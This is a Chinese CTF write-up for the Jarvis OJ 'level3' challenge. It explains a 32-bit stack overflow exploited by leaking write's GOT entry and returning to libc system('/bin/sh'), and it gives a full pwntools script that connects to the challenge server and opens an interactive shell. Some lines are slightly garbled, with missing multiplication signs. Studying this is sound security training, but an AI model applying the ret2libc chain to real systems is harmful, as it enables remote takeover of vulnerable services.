本文主要是介绍level3,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
level 3
在终端中输入file level3 查看为32位,
checksec level3命令,发现栈是不受保护,
在IDA中查看伪代码,
很明显的栈溢出漏洞,但是没有system函数和/bin/sh字符串,只有一个write函数,泄露函数got表中的地址获取到库中某个函数的真正加载地址,通过偏移找出函数的库,通过然后找出其他函数的真正加载地址,包括system函数也包括/bin/sh字符串,
构造payload: payload=’A’0x88+’A’4+p32(plt_write)+p32(main_addr)+p32(1)+p32(got_write)+p32(4)
32(1),p32(4),与write函数在GOT表中的地址共同组成write函数的三个参数,
可以看出buf需要填充的字符是88的大小,由于是32位所以,‘A’*4
p32(plt_write)是write函数在plt表中的地址,因为调用一个函数相当于开辟一个新的栈,所以需要再返回一个函数地址指向main函数。。
要得到偏移量我们首先要的到某个函数在got表中储存的真实地址(本题在level3里的函数的地址,我看做libc库函数地址的一个映射),
偏移量就是got表里储存的地址与libc库函数地址的一个映射。。
用libc在ida中打开,找到write函数,双击就能得到libc中write函数的地址。
write函数在plt表中的地址,在level3中打开,
脚本如下:
from pwn import *
p=remote(“pwn2.jarvisoj.com”,9879)
e=ELF(“level3”)
libc=ELF(“libc-2.19.so”)
writ_a=e.symbols[‘write’]
rea=0x08048484
got_write=e.got[‘write’]p.recv()
payload=(0x88+4)‘A’+p32(writ_a)+p32(rea)+p32(1)+p32(got_write)+p32(4)
p.send(payload)
aaa=p.recv(4)
true_write=u32(aaa)
print hex(true_write)
x=true_write-libc.symbols[‘write’]
true_bin=x+libc.search("/bin/sh").next()
true_sys=x+libc.symbols[‘system’]
payload=(0x88+4)‘A’+p32(true_sys)+p32(0)+p32(true_bin)
p.send(payload)
p.interactive()
脚本写好后,在桌面下Python 脚本名字
然后ls 最后cat出flag,
这篇关于level3的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!